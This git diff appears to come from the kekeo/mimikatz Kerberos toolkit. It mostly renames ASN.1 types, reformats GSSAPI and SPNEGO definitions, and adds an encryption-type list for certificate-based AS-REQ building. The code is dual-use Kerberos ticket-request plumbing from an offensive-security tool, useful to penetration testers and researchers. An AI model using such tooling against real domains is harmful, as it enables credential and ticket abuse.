@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -18,15 +18,15 @@ void kuhl_m_tsssp_list_data(HKEY hPd);
BOOL kuhl_m_tsssp_send_recv(HANDLE hPipe, PSecBuffer toSend, PSecBuffer toRecv);
void kuhl_m_tsssp_freeBuffer(PSecBuffer buffer, BOOL isContext);
-void kuhl_m_tsssp_printOctet1String(_octet1 *data);
+void kuhl_m_tsssp_printOctet1String(KULL_M_ASN1__octet1 *data);
SECURITY_STATUS kuhl_m_tsssp_AcquireCredentialsHandle(__in_opt LPWSTR pszPrincipal, __out PCredHandle phCredential);
SECURITY_STATUS kuhl_m_tsssp_AcceptSecurityContext(__in_opt PCredHandle phCredential, __in_opt PCtxtHandle phContext, __in_opt PSecBufferDesc pInput, __in_opt PCtxtHandle phNewContext, __in_opt PSecBufferDesc pOutput);
void kuhl_m_tsssp_TSCredentials(PSecBuffer data);
-BOOL kuhl_m_tsssp_Encrypt(PCtxtHandle phContext, PSecBuffer data, _octet1 *out);
-BOOL kuhl_m_tsssp_Decrypt(PCtxtHandle phContext, _octet1 *data, PSecBuffer out);
-BOOL kuhl_m_tsssp_SHA256(BOOL isClient, _octet1 *Nonce, _octet1 *PublicKey, PSecBuffer out);
+BOOL kuhl_m_tsssp_Encrypt(PCtxtHandle phContext, PSecBuffer data, KULL_M_ASN1__octet1 *out);
+BOOL kuhl_m_tsssp_Decrypt(PCtxtHandle phContext, KULL_M_ASN1__octet1 *data, PSecBuffer out);
+BOOL kuhl_m_tsssp_SHA256(BOOL isClient, KULL_M_ASN1__octet1 *Nonce, KULL_M_ASN1__octet1 *PublicKey, PSecBuffer out);
#define CLIENT_FLAGS ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_CONFIDENTIALITY | ISC_REQ_DELEGATE | ISC_REQ_EXTENDED_ERROR | ISC_REQ_REPLAY_DETECT | ISC_REQ_SEQUENCE_DETECT | ISC_REQ_STREAM
diff --git a/lib/Win32/ntdll.min.lib b/lib/Win32/ntdll.min.lib
index 31ef9c7..fce1d30 100644
Binary files a/lib/Win32/ntdll.min.lib and b/lib/Win32/ntdll.min.lib differ
diff --git a/lib/x64/ntdll.min.lib b/lib/x64/ntdll.min.lib
index d9b15fa..626afbe 100644
Binary files a/lib/x64/ntdll.min.lib and b/lib/x64/ntdll.min.lib differ
diff --git a/modules/asn1/GSSAPI.asn b/modules/asn1/GSSAPI.asn
index 5995ad6..e321e5d 100644
--- a/modules/asn1/GSSAPI.asn
+++ b/modules/asn1/GSSAPI.asn
@@ -1,18 +1,18 @@
- GSS-API DEFINITIONS ::=
+GSS-API DEFINITIONS ::=
- BEGIN
+BEGIN
- MechType ::= OBJECT IDENTIFIER
- -- representing Kerberos V5 mechanism
+MechType ::= OBJECT IDENTIFIER
+-- representing Kerberos V5 mechanism
- GSSAPI-Token ::=
- -- option indication (delegation, etc.) indicated within
- -- mechanism-specific token
- [APPLICATION 0] IMPLICIT SEQUENCE {
- thisMech MechType,
- innerToken ANY DEFINED BY thisMech
- -- contents mechanism-specific
- -- ASN.1 structure not required
- }
+GSSAPI-Token ::=
+-- option indication (delegation, etc.) indicated within
+-- mechanism-specific token
+[APPLICATION 0] IMPLICIT SEQUENCE {
+ thisMech MechType,
+ innerToken ANY DEFINED BY thisMech
+ -- contents mechanism-specific
+ -- ASN.1 structure not required
+ }
- END
\ No newline at end of file
+END
\ No newline at end of file
diff --git a/modules/asn1/SPNEGO.asn b/modules/asn1/SPNEGO.asn
index 7744ce3..18284cf 100644
--- a/modules/asn1/SPNEGO.asn
+++ b/modules/asn1/SPNEGO.asn
@@ -1,64 +1,64 @@
SPNEGOASNOneSpec {
- iso(1) identified-organization(3) dod(6) internet(1)
- security(5) mechanism(5) snego (2) modules(4) spec2(2)
- } DEFINITIONS EXPLICIT TAGS ::= BEGIN
+ iso(1) identified-organization(3) dod(6) internet(1)
+ security(5) mechanism(5) snego (2) modules(4) spec2(2)
+} DEFINITIONS EXPLICIT TAGS ::= BEGIN
- MechType ::= OBJECT IDENTIFIER
- -- OID represents each security mechanism as suggested by
- -- [RFC2743]
+MechType ::= OBJECT IDENTIFIER
+ -- OID represents each security mechanism as suggested by
+ -- [RFC2743]
- MechTypeList ::= SEQUENCE OF MechType
+MechTypeList ::= SEQUENCE OF MechType
- NegotiationToken ::= CHOICE {
- negTokenInit [0] NegTokenInit,
- negTokenResp [1] NegTokenResp
- }
+NegotiationToken ::= CHOICE {
+ negTokenInit [0] NegTokenInit,
+ negTokenResp [1] NegTokenResp
+}
- NegTokenInit ::= SEQUENCE {
- mechTypes [0] MechTypeList,
- reqFlags [1] ContextFlags OPTIONAL,
- -- inherited from RFC 2478 for backward compatibility,
- -- RECOMMENDED to be left out
- mechToken [2] OCTET STRING OPTIONAL,
- mechListMIC [3] OCTET STRING OPTIONAL,
- ...
- }
- NegTokenResp ::= SEQUENCE {
- negState [0] ENUMERATED {
- accept-completed (0),
- accept-incomplete (1),
- reject (2),
- request-mic (3)
- } OPTIONAL,
- -- REQUIRED in the first reply from the target
- supportedMech [1] MechType OPTIONAL,
- -- present only in the first reply from the target
- responseToken [2] OCTET STRING OPTIONAL,
- mechListMIC [3] OCTET STRING OPTIONAL,
- ...
- }
+NegTokenInit ::= SEQUENCE {
+ mechTypes [0] MechTypeList,
+ reqFlags [1] ContextFlags OPTIONAL,
+ -- inherited from RFC 2478 for backward compatibility,
+ -- RECOMMENDED to be left out
+ mechToken [2] OCTET STRING OPTIONAL,
+ mechListMIC [3] OCTET STRING OPTIONAL,
+ ...
+}
+NegTokenResp ::= SEQUENCE {
+ negState [0] ENUMERATED {
+ accept-completed (0),
+ accept-incomplete (1),
+ reject (2),
+ request-mic (3)
+ } OPTIONAL,
+ -- REQUIRED in the first reply from the target
+ supportedMech [1] MechType OPTIONAL,
+ -- present only in the first reply from the target
+ responseToken [2] OCTET STRING OPTIONAL,
+ mechListMIC [3] OCTET STRING OPTIONAL,
+ ...
+}
- ContextFlags ::= BIT STRING {
- delegFlag (0),
- mutualFlag (1),
- replayFlag (2),
- sequenceFlag (3),
- anonFlag (4),
- confFlag (5),
- integFlag (6)
- } (SIZE (32))
+ContextFlags ::= BIT STRING {
+ delegFlag (0),
+ mutualFlag (1),
+ replayFlag (2),
+ sequenceFlag (3),
+ anonFlag (4),
+ confFlag (5),
+ integFlag (6)
+} (SIZE (32))
- NegHints ::= SEQUENCE {
- hintName[0] GeneralString OPTIONAL,
- hintAddress[1] OCTET STRING OPTIONAL
- }
- NegTokenInit2 ::= SEQUENCE {
- mechTypes[0] MechTypeList OPTIONAL,
- reqFlags [1] ContextFlags OPTIONAL,
- mechToken [2] OCTET STRING OPTIONAL,
- negHints [3] NegHints OPTIONAL,
- mechListMIC [4] OCTET STRING OPTIONAL,
- ...
- }
+NegHints ::= SEQUENCE {
+ hintName[0] GeneralString OPTIONAL,
+ hintAddress[1] OCTET STRING OPTIONAL
+}
+NegTokenInit2 ::= SEQUENCE {
+ mechTypes[0] MechTypeList OPTIONAL,
+ reqFlags [1] ContextFlags OPTIONAL,
+ mechToken [2] OCTET STRING OPTIONAL,
+ negHints [3] NegHints OPTIONAL,
+ mechListMIC [4] OCTET STRING OPTIONAL,
+ ...
+}
END
\ No newline at end of file
diff --git a/modules/asn1/kekeo.a1sproj b/modules/asn1/kekeo.a1sproj
index f5ce49a..89aed75 100644
--- a/modules/asn1/kekeo.a1sproj
+++ b/modules/asn1/kekeo.a1sproj
@@ -8,6 +8,7 @@
SPNEGO.asn
CredSSP.asn
GSSAPI.asn
+ ldapv3.asn
diff --git a/modules/asn1/kull_m_kerberos_asn1.c b/modules/asn1/kull_m_kerberos_asn1.c
index 710870b..02ee1be 100644
--- a/modules/asn1/kull_m_kerberos_asn1.c
+++ b/modules/asn1/kull_m_kerberos_asn1.c
@@ -1,5 +1,5 @@
/* Benjamin DELPY `gentilkiwi`
- http://blog.gentilkiwi.com
+ https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
@@ -38,16 +38,16 @@ void kull_m_kerberos_asn1_term()
}
}
-void kull_m_kerberos_asn1_PrincipalName_create(PrincipalName *principal_name, Int32 name_type, DWORD count, ...)
+void kull_m_kerberos_asn1_PrincipalName_create(KULL_M_ASN1_PrincipalName *principal_name, KULL_M_ASN1_Int32 name_type, DWORD count, ...)
{
DWORD i;
va_list vaList;
if(principal_name)
{
- RtlZeroMemory(principal_name, sizeof(PrincipalName));
+ RtlZeroMemory(principal_name, sizeof(KULL_M_ASN1_PrincipalName));
va_start(vaList, count);
principal_name->name_type = name_type;
- if(principal_name->name_string = (struct _seqof1 *) LocalAlloc(LPTR, sizeof(struct _seqof1) * count))
+ if(principal_name->name_string = (struct KULL_M_ASN1__seqof1 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof1) * count))
{
for(i = 0; i < count; i++)
{
@@ -59,7 +59,7 @@ void kull_m_kerberos_asn1_PrincipalName_create(PrincipalName *principal_name, In
}
}
-void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal_name, Realm *pRealm, LPCWSTR name)
+void kull_m_kerberos_asn1_PrincipalName_create_fromName(KULL_M_ASN1_PrincipalName *principal_name, KULL_M_ASN1_Realm *pRealm, LPCWSTR name)
{
DWORD count = 0, i;
char *dupName, *nextToken, *token;
@@ -68,7 +68,7 @@ void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal
{
if(aName = kull_m_string_unicode_to_ansi(name))
{
- RtlZeroMemory(principal_name, sizeof(PrincipalName));
+ RtlZeroMemory(principal_name, sizeof(KULL_M_ASN1_PrincipalName));
if(strchr(aName, '/'))
{
if(pRealm)
@@ -93,7 +93,7 @@ void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal
if(dupName = _strdup(aName))
{
principal_name->name_type = KRB_NT_SRV_INST;
- if(principal_name->name_string = (struct _seqof1 *) LocalAlloc(LPTR, sizeof(struct _seqof1) * count))
+ if(principal_name->name_string = (struct KULL_M_ASN1__seqof1 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof1) * count))
{
for(nextToken = NULL, token = strtok_s(dupName, "/", &nextToken), i = 0; token; token = strtok_s(NULL, "/", &nextToken), i++)
{
@@ -115,7 +115,7 @@ void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal
else
principal_name->name_type = KRB_NT_PRINCIPAL;
- if(principal_name->name_string = (struct _seqof1 *) LocalAlloc(LPTR, sizeof(struct _seqof1)))
+ if(principal_name->name_string = (struct KULL_M_ASN1__seqof1 *) LocalAlloc(LPTR, sizeof(struct KULL_M_ASN1__seqof1)))
kull_m_string_copyA(&principal_name->name_string->value, aName);
}
LocalFree(aName);
@@ -123,9 +123,9 @@ void kull_m_kerberos_asn1_PrincipalName_create_fromName(PrincipalName *principal
}
}
-void kull_m_kerberos_asn1_PrincipalName_delete(PrincipalName *principal_name)
+void kull_m_kerberos_asn1_PrincipalName_delete(KULL_M_ASN1_PrincipalName *principal_name)
{
- struct _seqof1 *names;
+ struct KULL_M_ASN1__seqof1 *names;
if(principal_name)
{
for(names = principal_name->name_string; names; names = names->next)
@@ -136,10 +136,10 @@ void kull_m_kerberos_asn1_PrincipalName_delete(PrincipalName *principal_name)
}
}
-void kull_m_kerberos_asn1_PrincipalName_descr(PrincipalName *principal_name, BOOL withType)
+void kull_m_kerberos_asn1_PrincipalName_descr(KULL_M_ASN1_PrincipalName *principal_name, BOOL withType)
{
PCWCHAR type;
- struct _seqof1 *names;
+ struct KULL_M_ASN1__seqof1 *names;
DWORD j;
if(principal_name)
{
@@ -173,8 +173,8 @@ void kull_m_kerberos_asn1_PrincipalName_descr(PrincipalName *principal_name, BOO
}
}
-const KerberosTime MAX_MS_2037_GT = {2037, 9, 13, 2, 48, 5, 0, 0, TRUE};
-void kull_m_kerberos_asn1_KerberosTime_build_systemtime(KerberosTime *time, PSYSTEMTIME pSystemTime, BOOL isMaxMs2037)
+const KULL_M_ASN1_KerberosTime MAX_MS_2037_GT = {2037, 9, 13, 2, 48, 5, 0, 0, TRUE};
+void kull_m_kerberos_asn1_KerberosTime_build_systemtime(KULL_M_ASN1_KerberosTime *time, PSYSTEMTIME pSystemTime, BOOL isMaxMs2037)
{
SYSTEMTIME systemTime;
if(isMaxMs2037)
@@ -200,7 +200,7 @@ void kull_m_kerberos_asn1_KerberosTime_build_systemtime(KerberosTime *time, PSYS
}
}
-void kull_m_kerberos_asn1_KerberosTime_build_filetime(KerberosTime *time, PFILETIME pFileTime, BOOL isMaxMs2037)
+void kull_m_kerberos_asn1_KerberosTime_build_filetime(KULL_M_ASN1_KerberosTime *time, PFILETIME pFileTime, BOOL isMaxMs2037)
{
SYSTEMTIME systemTime;
BOOL isPtr = FALSE;
@@ -209,14 +209,14 @@ void kull_m_kerberos_asn1_KerberosTime_build_filetime(KerberosTime *time, PFILET
kull_m_kerberos_asn1_KerberosTime_build_systemtime(time, isPtr ? &systemTime : NULL, isMaxMs2037);
}
-void kull_m_kerberos_asn1_KerberosTime_build_time_t(KerberosTime *time, time_t uTime)
+void kull_m_kerberos_asn1_KerberosTime_build_time_t(KULL_M_ASN1_KerberosTime *time, time_t uTime)
{
FILETIME fileTime;
*(PLONGLONG) &fileTime = Int32x32To64(uTime, 10000000) + 116444736000000000;
kull_m_kerberos_asn1_KerberosTime_build_filetime(time, &fileTime, FALSE);
}
-void kull_m_kerberos_asn1_KerberosTime_to_systemtime(KerberosTime *time, PSYSTEMTIME pSystemTime)
+void kull_m_kerberos_asn1_KerberosTime_to_systemtime(KULL_M_ASN1_KerberosTime *time, PSYSTEMTIME pSystemTime)
{
pSystemTime->wYear = time->year;
pSystemTime->wMonth = time->month;
@@ -228,33 +228,37 @@ void kull_m_kerberos_asn1_KerberosTime_to_systemtime(KerberosTime *time, PSYSTEM
pSystemTime->wDayOfWeek = 0;
}
-void kull_m_kerberos_asn1_KerberosTime_to_filetime(KerberosTime *time, PFILETIME pFileTime)
+void kull_m_kerberos_asn1_KerberosTime_to_filetime(KULL_M_ASN1_KerberosTime *time, PFILETIME pFileTime)
{
SYSTEMTIME systemTime;
kull_m_kerberos_asn1_KerberosTime_to_systemtime(time, &systemTime);
SystemTimeToFileTime(&systemTime, pFileTime);
}
-void kull_m_kerberos_asn1_KerberosTime_to_time_t(KerberosTime *time, time_t * uTime)
+void kull_m_kerberos_asn1_KerberosTime_to_time_t(KULL_M_ASN1_KerberosTime *time, time_t * uTime)
{
FILETIME fileTime;
kull_m_kerberos_asn1_KerberosTime_to_filetime(time, &fileTime);
*uTime = (time_t) (*(PLONGLONG) &fileTime - 116444736000000000) / 10000000;
}
-void kull_m_kerberos_asn1_KerberosTime_print(KerberosTime *time)
+void kull_m_kerberos_asn1_KerberosTime_print(KULL_M_ASN1_KerberosTime *time)
{
FILETIME ft;
kull_m_kerberos_asn1_KerberosTime_to_filetime(time, &ft);
kull_m_string_displayLocalFileTime(&ft);
}
-const struct _seqof2 suppEtypeRC4 = {NULL, KERB_ETYPE_RC4_HMAC_NT},
- suppEtypeAES128 = {(struct _seqof2 *) &suppEtypeRC4, KERB_ETYPE_AES128_CTS_HMAC_SHA1_96},
- suppEtypeAES256 = {(struct _seqof2 *) &suppEtypeAES128, KERB_ETYPE_AES256_CTS_HMAC_SHA1_96};
-void kull_m_kerberos_asn1_KdcReqBody_build(KDC_REQ_BODY *body, PrincipalName *cname, Realm realm, PrincipalName *sname, DWORD Options, struct _seqof2 *suppEtype)
+const struct KULL_M_ASN1__seqof2 suppEtypeRC4 = {NULL, KERB_ETYPE_RC4_HMAC_NT},
+ suppEtypeAES128 = {(struct KULL_M_ASN1__seqof2 *) &suppEtypeRC4, KERB_ETYPE_AES128_CTS_HMAC_SHA1_96},
+ suppEtypeAES256 = {(struct KULL_M_ASN1__seqof2 *) &suppEtypeAES128, KERB_ETYPE_AES256_CTS_HMAC_SHA1_96};
+const struct KULL_M_ASN1__seqof2 suppEtypeEVP = {NULL, KERB_ETYPE_DES_EDE3_CBC_ENV},
+ suppEtypeE_RC4 = {(struct KULL_M_ASN1__seqof2 *) &suppEtypeEVP, KERB_ETYPE_RC4_HMAC_NT},
+ suppEtypeE_AES128 = {(struct KULL_M_ASN1__seqof2 *) &suppEtypeE_RC4, KERB_ETYPE_AES128_CTS_HMAC_SHA1_96},
+ suppEtypeE_AES256 = {(struct KULL_M_ASN1__seqof2 *) &suppEtypeE_AES128, KERB_ETYPE_AES256_CTS_HMAC_SHA1_96};
+void kull_m_kerberos_asn1_KdcReqBody_build(KULL_M_ASN1_KDC_REQ_BODY *body, KULL_M_ASN1_PrincipalName *cname, KULL_M_ASN1_Realm realm, KULL_M_ASN1_PrincipalName *sname, DWORD Options, struct KULL_M_ASN1__seqof2 *suppEtype)
{
- RtlZeroMemory(body, sizeof(KDC_REQ_BODY));
+ RtlZeroMemory(body, sizeof(KULL_M_ASN1_KDC_REQ_BODY));
body->kdc_options.length = sizeof(DWORD) * 8;
body->kdc_options.value = (unsigned char *) LocalAlloc(LPTR, sizeof(DWORD));
if(!Options)
@@ -264,20 +268,20 @@ void kull_m_kerberos_asn1_KdcReqBody_build(KDC_REQ_BODY *body, PrincipalName *cn
if(cname)
{
body->cname = *cname;
- body->bit_mask |= KDC_REQ_BODY_cname_present;
+ body->bit_mask |= KULL_M_ASN1_KDC_REQ_BODY_cname_present;
}
body->realm = realm;
if(sname)
{
body->sname = *sname;
- body->bit_mask |= KDC_REQ_BODY_sname_present;
+ body->bit_mask |= KULL_M_ASN1_KDC_REQ_BODY_sname_present;
}
kull_m_kerberos_asn1_KerberosTime_build_systemtime(&body->till, NULL, TRUE);
body->nonce = MIMIKATZ_NONCE;
- body->etype = suppEtype ? suppEtype : (struct _seqof2 *) ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? &suppEtypeRC4 : &suppEtypeAES256);
+ body->etype = suppEtype ? suppEtype : (struct KULL_M_ASN1__seqof2 *) ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? &suppEtypeRC4 : &suppEtypeAES256);
}
-void kull_m_kerberos_asn1_KdcReqBody_free(KDC_REQ_BODY *body)
+void kull_m_kerberos_asn1_KdcReqBody_free(KULL_M_ASN1_KDC_REQ_BODY *body)
{
if(body->enc_authorization_data.cipher.value)
body->enc_authorization_data.cipher.value = (unsigned char *) LocalFree(body->enc_authorization_data.cipher.value);
@@ -285,7 +289,7 @@ void kull_m_kerberos_asn1_KdcReqBody_free(KDC_REQ_BODY *body)
body->kdc_options.value = (unsigned char *) LocalFree(body->kdc_options.value);
}
-BOOL kull_m_kerberos_asn1_AsReqAsRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KerberosTime *time, PrincipalName *altService, AS_REP **AsRep, EncKDCRepPart **encAsRepPart, EncryptionKey *replyKey)
+BOOL kull_m_kerberos_asn1_AsReqAsRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, KULL_M_ASN1_AS_REP **AsRep, KULL_M_ASN1_EncKDCRepPart **encAsRepPart, KULL_M_ASN1_EncryptionKey *replyKey)
{
BOOL status = FALSE;
OssBuf AsReq = {0, NULL};
@@ -294,17 +298,17 @@ BOOL kull_m_kerberos_asn1_AsReqAsRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fu
*encAsRepPart = NULL;
if(kull_m_kerberos_asn1_AsReq_build(authinfos, time, altService, &AsReq))
{
- if(kull_m_kerberos_asn1_net_callKdcOssBuf(fullsocket, &AsReq, (LPVOID *) AsRep, AS_REP_PDU))
+ if(kull_m_kerberos_asn1_net_callKdcOssBuf(fullsocket, &AsReq, (LPVOID *) AsRep, KULL_M_ASN1_AS_REP_PDU))
{
if(!(status = kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(authinfos, *AsRep, encAsRepPart, replyKey)))
- ossFreePDU(&kull_m_kerberos_asn1_world, AS_REP_PDU, *AsRep);
+ ossFreePDU(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REP_PDU, *AsRep);
}
ossFreeBuf(&kull_m_kerberos_asn1_world, AsReq.value);
}
return status;
}
-BOOL kull_m_kerberos_asn1_AsReqGenericRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KerberosTime *time, PrincipalName *altService, int pduRep, LPVOID *Rep)
+BOOL kull_m_kerberos_asn1_AsReqGenericRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SOCK fullsocket, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, int pduRep, LPVOID *Rep)
{
BOOL status = FALSE;
OssBuf AsReq = {0, NULL};
@@ -317,19 +321,19 @@ BOOL kull_m_kerberos_asn1_AsReqGenericRep(PKIWI_AUTH_INFOS authinfos, PKULL_M_SO
return status;
}
-BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KerberosTime *time, PrincipalName *altService, OssBuf *OutKdcReq)
+BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KULL_M_ASN1_KerberosTime *time, KULL_M_ASN1_PrincipalName *altService, OssBuf *OutKdcReq)
{
BOOL status = FALSE, goodPa = FALSE;
- AS_REQ asreq = {0};
- PrincipalName sname = {0};
- PA_DATA PaGeneric = {0}, PaPacRequest = {0};
+ KULL_M_ASN1_AS_REQ asreq = {0};
+ KULL_M_ASN1_PrincipalName sname = {0};
+ KULL_M_ASN1_PA_DATA PaGeneric = {0}, PaPacRequest = {0};
RtlZeroMemory(OutKdcReq, sizeof(OssBuf));
if(authinfos->type != KIWI_AUTH_INFOS_TYPE_ASREQ_RSA_DH)
{
asreq.pvno = 5;
asreq.msg_type = 10;
- asreq.bit_mask = KDC_REQ_padata_present;
+ asreq.bit_mask = KULL_M_ASN1_KDC_REQ_padata_present;
kull_m_kerberos_asn1_PrincipalName_create(&sname, KRB_NT_SRV_INST, 2, "krbtgt", authinfos->realm); // maybe to move in kull_m_kerberos_asn1_PA_DATA_PA_PK_AS_REQ_old_build
kull_m_kerberos_asn1_KdcReqBody_build(&asreq.req_body, &authinfos->cname, authinfos->realm, &authinfos->sname, 0, NULL);
@@ -353,11 +357,16 @@ BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KerberosTime *
;
}
+ if((authinfos->type == KIWI_AUTH_INFOS_TYPE_RSA) || (authinfos->type == KIWI_AUTH_INFOS_TYPE_OTF_RSA) || (authinfos->type == KIWI_AUTH_INFOS_TYPE_RSA_DH) || (authinfos->type == KIWI_AUTH_INFOS_TYPE_OTF_RSA_DH))
+ {
+ asreq.req_body.etype = (struct KULL_M_ASN1__seqof2 *) ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? &suppEtypeE_RC4 : &suppEtypeE_AES256);
+ }
+
if(goodPa)
kull_m_kerberos_asn1_PA_DATAs_build(&asreq.padata, 2, &PaGeneric, &PaPacRequest);
else kull_m_kerberos_asn1_PA_DATAs_build(&asreq.padata, 1, &PaPacRequest);
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, AS_REQ_PDU, &asreq, OutKdcReq)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REQ_PDU, &asreq, OutKdcReq)))
PRINT_ERROR(L"Unable to encode AS_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
if(asreq.padata)
LocalFree(asreq.padata);
@@ -372,30 +381,30 @@ BOOL kull_m_kerberos_asn1_AsReq_build(PKIWI_AUTH_INFOS authinfos, KerberosTime *
}
else
{
- if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, AS_REQ_PDU, authinfos->u.certinfos.tmpAsReq, OutKdcReq)))
+ if(!(status = !ossEncode(&kull_m_kerberos_asn1_world, KULL_M_ASN1_AS_REQ_PDU, authinfos->u.certinfos.tmpAsReq, OutKdcReq)))
PRINT_ERROR(L"Unable to encode AS_REQ: %S\n", ossGetErrMsg(&kull_m_kerberos_asn1_world));
}
return status;
}
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(PKIWI_AUTH_INFOS authInfo, KDC_REP *AsRep, EncKDCRepPart **encAsRepPart, EncryptionKey *replyKey)
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(PKIWI_AUTH_INFOS authInfo, KULL_M_ASN1_KDC_REP *AsRep, KULL_M_ASN1_EncKDCRepPart **encAsRepPart, KULL_M_ASN1_EncryptionKey *replyKey)
{
BOOL status = FALSE;
if(replyKey)
- RtlZeroMemory(replyKey, sizeof(EncryptionKey));
+ RtlZeroMemory(replyKey, sizeof(KULL_M_ASN1_EncryptionKey));
switch(authInfo->type)
{
case KIWI_AUTH_INFOS_TYPE_KEY:
- status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(AsRep, &authInfo->u.ekey, EncASRepPart_PDU, encAsRepPart);
+ status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(AsRep, &authInfo->u.ekey, KULL_M_ASN1_EncASRepPart_PDU, encAsRepPart);
break;
case KIWI_AUTH_INFOS_TYPE_RSA:
case KIWI_AUTH_INFOS_TYPE_OTF_RSA:
- status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(AsRep, &authInfo->u.certinfos.provider, EncASRepPart_PDU, encAsRepPart, replyKey);
+ status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(AsRep, &authInfo->u.certinfos.provider, KULL_M_ASN1_EncASRepPart_PDU, encAsRepPart, replyKey);
break;
case KIWI_AUTH_INFOS_TYPE_RSA_DH:
case KIWI_AUTH_INFOS_TYPE_OTF_RSA_DH:
case KIWI_AUTH_INFOS_TYPE_ASREQ_RSA_DH:
- status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(AsRep, &authInfo->u.certinfos.dhKeyInfo, EncASRepPart_PDU, encAsRepPart, replyKey);
+ status = kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_RsaDh_build(AsRep, &authInfo->u.certinfos.dhKeyInfo, KULL_M_ASN1_EncASRepPart_PDU, encAsRepPart, replyKey);
break;
default:
;
@@ -403,14 +412,14 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_AsRep_build(PKIWI_AUTH_INFOS authIn
return status;
}
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(KDC_REP *rep, EncryptionKey *key, int pdu, EncKDCRepPart **encRepPart)
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(KULL_M_ASN1_KDC_REP *rep, KULL_M_ASN1_EncryptionKey *key, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart)
{
BOOL status = FALSE;
OssBuf EncRepPartBuff;
NTSTATUS ntStatus;
*encRepPart = NULL;
- ntStatus = kull_m_kerberos_asn1_crypto_encrypt(((pdu == EncASRepPart_PDU) && (key->keytype != KERB_ETYPE_RC4_HMAC_NT)) ? KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY : KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, (OssBuf *) &rep->enc_part.cipher, &EncRepPartBuff, FALSE);
+ ntStatus = kull_m_kerberos_asn1_crypto_encrypt(((pdu == KULL_M_ASN1_EncASRepPart_PDU) && (key->keytype != KERB_ETYPE_RC4_HMAC_NT)) ? KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY : KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, (OssBuf *) &rep->enc_part.cipher, &EncRepPartBuff, FALSE);
if(NT_SUCCESS(ntStatus))
{
if(!(status = !ossDecode(&kull_m_kerberos_asn1_world, &pdu, &EncRepPartBuff, (LPVOID *) encRepPart)))
@@ -421,25 +430,25 @@ BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Key_build(KDC_REP *rep, Encrypt
return status;
}
-BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(KDC_REP *rep, PKULL_M_CRYPTO_PROV_INFO provInfo, int pdu, EncKDCRepPart **encRepPart, EncryptionKey *replyKey)
+BOOL kull_m_kerberos_asn1_EncKDCRepPart_from_Rep_Rsa_build(KULL_M_ASN1_KDC_REP *rep, PKULL_M_CRYPTO_PROV_INFO provInfo, int pdu, KULL_M_ASN1_EncKDCRepPart **encRepPart, KULL_M_ASN1_EncryptionKey *replyKey)
{
BOOL status = FALSE;
- int internDpu = PA_PK_AS_REP_PDU;
- PA_DATA *paAsRepOld;
+ int internDpu = KULL_M_ASN1_PA_PK_AS_REP_PDU;
+ KULL_M_ASN1_PA_DATA *paAsRepOld;
OssBuf KeyData;
- PA_PK_AS_REP *pkAsRep = NULL;
- KERB_REPLY_KEY_PACKAGE *KeyPack = NULL;
+ KULL_M_ASN1_PA_PK_AS_REP *pkAsRep = NULL;
+ KULL_M_ASN1_KERB_REPLY_KEY_PACKAGE *KeyPack = NULL;
*encRepPart = NULL;
if(paAsRepOld = kull_m_kerberos_asn1_PADATA_from_REP(rep, PA_TYPE_PK_AS_REP_OLD))
{
if(!ossDecode(&kull_m_kerberos_asn1_world, &internDpu, (OssBuf *) &paAsRepOld->padata_value, (LPVOID *) &pkAsRep))
{
- if(pkAsRep->choice == encKeyPack_chosen)
+ if(pkAsRep->choice == KULL_M_ASN1_encKeyPack_chosen)
{
